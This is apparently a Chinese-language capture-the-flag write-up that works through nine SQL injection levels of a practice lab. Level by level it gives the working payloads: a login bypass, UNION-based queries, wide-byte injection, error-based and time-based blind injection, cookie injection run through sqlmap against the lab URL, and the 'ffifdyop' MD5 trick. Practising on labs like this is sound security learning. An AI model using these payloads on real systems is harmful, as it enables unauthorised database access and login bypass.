第一關
萬能密碼:username='or '1'='1'# password=1 即可登錄得到flag。
第二關
最基礎的注入,order by 判斷字段數,然后 union select 查詢表,列,字段。
payload:id=1 union select 1,database(),3 from information_schema.tables where table_schema=database()%23 得到數據庫名,之后自己發揮。。。。
第三關
懵逼了很長時間,一看大佬的wp,秒懂,腦回路不行,沒想到這個。。。。
寬字節注入,就是用繁體字的url編碼吃掉反斜杠,payload;id=1%df%27union%20select%201,database(),3%20from%20information_schema.tables%20where%20table_schema=database()%23
第四關
這個題到是真的沒有接觸過,limit注入,我直接sqlmap跑的,原諒菜雞。。。。。
第五關
這個題也比較頭疼,圖片注入,牛逼牛逼。。。。圖片注入而且要用寬字節。。
第六關
報錯注入,終於能自己操作操作了,沒什么過濾,直接上payload:username=admin' and extractvalue(1,(concat(0x3c,(select database() from information_schema.schemata limit 0,1))))%23
然后查看源碼,得到數據庫名。
第七關
盲注,想到用 if(),sleep()等函數,payload:username=guest' and if(1,sleep(5),1)%23
頁面返回延遲5秒,所以存在盲注,寫爆破腳本吧。
第八關
能輸入的地方都不存在注入,抓包,試試cookie,存在注入,哈哈。。給cookie一個值就可以了,如:cookie:id=.........;PHPSSIONID=11111111
sqlmap:sqlmap -u http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1 --cookie "id=1;PHPSESSID=0f83b91303f3eb5aa68c9f47b8e2c4ae" --dbs --level 2
第九關
感覺很熟悉,但是想不起來了,我的個腦子啊。求助大佬。
得知 是 md5 注入,MD5有一個特殊的字符串ffifdyop
加密后的MD5是276f722736c95d99e921722cf9ed621c
再變成字符串就成了'or'6<trash>
就造成了注入,tqltql。。。。
還需繼續努力學習。